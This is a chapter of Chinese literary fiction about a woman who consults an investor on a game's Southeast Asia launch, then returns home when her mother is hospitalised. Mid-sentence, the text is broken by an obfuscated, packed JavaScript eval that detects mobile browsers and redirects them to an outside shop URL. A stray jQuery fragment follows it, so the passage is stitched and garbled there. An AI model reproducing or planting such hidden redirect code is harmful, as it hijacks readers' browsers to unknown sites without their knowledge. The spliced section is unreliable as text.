四月底的北京，柳树已经绿透了，杨絮飘在空气里。祝青云坐在工位上，面前摊着一份青藤的东南亚发行方案。方案还停留在‘规划阶段’，距离上线还有至少三到四个月的窗口期——A轮的钱到账之后研发进度比预期慢了一些，李砚的城墙已经画完了，但东南亚版本的本地化还在接入测试。她圈出了印尼那一栏的买量成本预测，在旁边打了一个问号。
张一的消息是昨天傍晚到的，很简短，没有寒暄，语气像在递一个他在某次会议上捡到的联系方式，而不是在推荐一个值得信任的朋友。他说自己有个朋友在新加坡GIC做投资，姓谢，之前在印尼待过两年，对游戏出海的市场情况比较熟。
这人正好在北京出差，在最终决定是否继续推进东南亚发行计划之前，也许可以跟他聊一聊，看看那边渠道层和合规窗口有没有什么他已经踩过、但她还没想到的坑。
最后附了一个LinkedIn链接。祝青云点进去看了——新加坡人，GIC投资副总监，宾大本科，专注东南亚消费和TMT赛道，在印尼待过两年，处理过好几个游戏项目。履历干净，每份工作之间的间隔、每个职位变化之间的间隔，都卡在正常的升值节奏上，不多一步，也不少一步。教育背景里还有一段：北京大学，交换生，半年，大约在十年前。她把那行字多看了一眼，没有多想，发了一封邮件给对方确认了时间。
第二天上午，她在国贸楼下的咖啡馆见到谢子维本人。
他坐在靠窗的位置，穿一件深灰色的薄外套，没有打领带，面前放着一只马克杯，正在低头看手机。推门走进去的时候他抬起头来，目光从屏幕移到她脸上，没有站起来，只是点了一下头，然后示意坐下。他用中文说“你好”的时候，口音很淡——显然这位花了很长时间把发音磨到接近母语的水平，但某些字还是不自觉地带着一点不属于本地人的棱角。
祝青云在他对面坐下来，把电脑打开，发行方案打开在印尼那一页，她说：“我有个被投公司开发了一款游戏，东南亚是重点市场，现在正在做市场预研和本地化接入测试。这套方案上的数字都是推演值，主要基于公开的行业报告和竞品数据——LTV预估、买量成本、合规周期——还没有验证过。你看过类似的项目，能不能帮忙看看这套假设有没有明显漏洞？”她把电脑转过去，屏幕朝向谢子维。
谢子维低头看了几秒，没有立刻回答。他翻了一下页面，停在“竞品分析”那一页，手指在屏幕上点了一下，指着一行数字：“这个预期买量成本，是基于什么渠道估算的？”祝青云说：“行业报告——东南亚手游投放的均值。”谢子维摇了摇头：“那个报告的数据偏保守。它算的是全品类平均，策略游戏的获客成本会比均值高一些——因为用户更垂直，需要用更精准的投放方式才能触达核心玩家群体。你在印尼的获客成本应该比报告数字高10%到15%。”他说话的时候没有看她，还在看屏幕上的数据。“另外——”他的手指又往下滑了一点，“合规周期你写的是两个月。印尼的评级流程正在收紧，去年下半年开始，进口游戏的审批时间拉长了，按这个排会更现实一些。”
他说话的方式很老派，带着热带华人特有的松散与讲究并存，像老吊扇底下的慢节奏，但骨子里很清朗。“那菲律宾呢？”祝青云问。谢子维往后翻了两页，看了一眼，在“用户画像”那一栏停下了。“菲律宾的用户付费习惯还在培养期，你做LTV预测的时候用过哪一组数据？”祝青云报了一个数字。谢子维说：“那组数据来自高收入样本，实际上菲律宾中低端用户的付费意愿更低，而且付费方式偏零散——他们更倾向于小额多次的消费模式，对应的内购结构需要单独设计来适配这种消费习惯。如果照搬印尼的付费模型过去，首月收入可能会打折。”祝青云没有说话，低头在那一栏旁边加了一行备注：“菲律宾，偏小额，结构重新设计。”
两个人聊了将近四十分钟。祝青云问的是具体问题，谢子维不绕弯子，遇到不确定的数字会说“这个我不确定，要回去查一下”。“不确定”这个词他说了两次。说话之前会停顿一秒左右，刚好够他把答案调整到最短的版本再送出来。
快结束的时候祝青云的手机在桌面上震了一下。屏幕亮了，李阿姨。她没有接。过了一会儿又震了一下，同一个名字，她划掉了。谢子维正在喝咖啡，他的目光没有落在屏幕上，也没有问“是不是需要接电话”。
手机第三次震动。祝青云拿起来走到窗边去接了。李阿姨的声音从电话那头传过来，比平时快，语速不均匀：“青云，你妈妈今天下午忽然严重了。她不认识人，一直在说胡话，站也站不稳，我把她扶到床上，现在整个人都在抖。隔壁邻居也来看了，说情况很严重，需要赶紧送医院。我一个人——”祝青云握着手机站在那道光里，安静了片刻：“叫救护车了吗？”李阿姨说：“叫了，在路上。”
祝青云说：“我马上回来。”她挂了电话，回到座位的时候已经合上电脑，把电源线绕好塞进包里。“不好意思，家里有急事，得先走。”
谢子维已经站起来了，手里拿着车钥匙。“我正好租了个车，送你。”
“不用。”
“打车要等，”他说，“车在楼下。你赶时间。”
她没有推辞。下楼的时候他走在她侧前方，步子不快不慢，没有回头确认她是否跟着。车停在路边，他开了车门等她坐进去，然后绕到另一侧上了车。然后他问：“高铁站？”
祝青云说：“是。”
他没有问“你家里怎么了”，没有说“别担心”。车开到高铁站落客区的时候他说：“到了告诉我一声。”祝青云说：“谢谢。”她下了车往进站口走，余光里那辆车没有立刻开走，在落客区多停了大约十秒。
高铁上旁边的座位上坐着一对母女。小女孩大概四五岁，趴在母亲腿上，母亲低头给她梳头发，梳子从发根滑到发梢，动作很慢，像在做一件不需要赶时间的事。小女孩动了一下，母亲的手跟着她的方向调整了一下角度，梳子没有停下来。
祝青云把目光收回来，落在窗外。田野正在变绿，春天正在一层一层地覆盖冬天。但她没有在看那些颜色。她想起了祝老师给她梳头发的样子。很小的时候，她妈会在早上用一把木梳子给她扎辫子，手法很利落，不像刚才那个母亲那样慢。梳头发的时候从不说话，扎完之后会拽一下她的辫子，说"好了"。有时候扯得太紧，头皮会疼。
她没有说过疼，祝老师也没有问过。
列车在加速，窗外的景色正在变快。旁边的小女孩在母亲腿上换了一个姿势，母亲按住她肩膀让她坐稳。祝青云把手放在膝盖上，低头看了一会儿自己的手指。她在想——祝老师现在躺在医院的留观室里，不知道醒没醒。
手机屏幕亮了一下——方严。她接起来。
“今天忙完了？”他的声音在听筒里，和平时没什么区别。
“我回C城了。”祝青云说，“我妈那边出了点状况，住院了。”
电话那头安静了片刻，大概有两三秒。“什么时候的事？”方严问。
“今天下午。”她说，“还不知道具体情况，到了再看。”
“我跟你一起回去。”
“不用。”祝青云说，“你先忙你的。我到了再说。”
方严没有坚持。他说：“那你到了告诉我。”然后停顿了一下，“路上别着急。”
祝青云说：“嗯。”挂了电话之后，她握着手机坐了一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17740848|209103||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
会儿，突然想起来，给谢子维发了一条：“到了。谢谢。”几秒后他回了一个字：“ok，take care。”
到站的时候天已经黑了。她走出出站口，拦了一辆出租车，报了医院的地址。李阿姨站在急诊走廊的入口处，穿着那件旧棉袄，看到她就快步走过来，说：“在留观室，医生说要先稳定下来才能确定要不要转住院。”
祝青云跟着她走进去。祝老师躺在留观室的病床上，闭着眼睛，脸色比上次见到的时候暗了一层，嘴唇发白，手上插着输液管，心率监测仪在床头闪着绿色的数字。她在那张床旁边站了一会儿，没有坐下，也没有碰她的手。
医生在走廊里跟她说话——情绪波动太大，加上长期服药，身体机能承受不住，现在需要先稳定体征，如果能扛过今晚，再考虑下一步。祝青云站在医生面前，安静地听完，然后问了一句：“会好转吗？”医生说：“先观察，不好说。”
手机又震了一下。不是方严，是张一的消息。
“新加坡那边缺一个人，东南亚消费在起，我以后就负责新加坡了。你要不要考虑过去待一段时间？不用马上回，想了跟我说。”
她站在走廊里，把那行字看了两遍。新加坡。东南亚消费。过去待一段时间。但脑子里装的是另一件事，祝老师还在留观室里，医生刚刚说过“不好说”。
她盯着那行字，拇指悬在屏幕上方，最终没有点下去。不是不想回，是此刻任何关于“未来”的句子都发不出去。
没有回张一，锁屏，把手机塞进大衣口袋最深处，然后去护士站交了一张单子。
祝青云在留观室门口的长椅上坐了一整夜，李阿姨坐在她旁边，偶尔站起来去倒水。走廊里的灯亮了一整夜，她在灯下坐着，手放在膝盖上，没有看手机，没有打开电脑，只是坐着。
第二天上午，状态稍微稳定了一些——心率降下来了，呼吸均匀了，但还没有清醒。医生从走廊那端走过来，说：“转住院吧，继续观察。”祝青云说：“好。”
在医院待了三天，每天上午去窗口交费，下午在床边坐着。祝老师在睡觉，呼吸平稳。到第四天下午，她醒了一次，睁着眼睛看了一会儿天花板，然后转过头来看到祝青云，嘴唇动了一下，没有发出声音，又闭上了眼睛。
第五天祝青云订了回北京的车票。走之前她在病床边站了一会儿，对李阿姨说：“下周我再回来。你盯着她的药。”李阿姨点了点头，说：“你放心。我在这儿。”
到家的时候快十点。方严看到她的时候没有说话，只是走过来，从她手里接过了行李箱。然后问了一句：“吃饭了没？”
祝青云说：“没有。”
他转身走进厨房，水龙头开了一会儿又关了，燃气被点燃，发出蓝色的火光。她站在客厅里没有跟进去，隔着那道矮墙听着锅里的水烧开、面条下锅、筷子搅动的声音。过了大约十分钟，他端了一碗面出来，放在餐桌上，筷子搁在碗沿上。“吃吧。”他说。她在餐桌前坐下来，低头吃那碗面，面是热的，汤是清的，里面卧了一个荷包蛋，蛋的边缘煎得微微焦黄，但蛋黄还是软的。
她吃了几口，放下筷子。“我妈住院了，”她说，“情况不太稳定，下周还要回去。”
方严坐在对面，安静了片刻。他没有说"我跟你一起"，也没有追问更多细节。他坐在那里，像在等她说完了，然后开口问了一句："哪家医院？"
祝青云说了一个名字。
"我找人问问，"他说，"那边有没有更好的的医生。"
祝青云看了他一眼，说："C城人民医院。"
方严点了点头，接着站起来，收走了她面前那只空碗，水龙头开了一会儿又关了。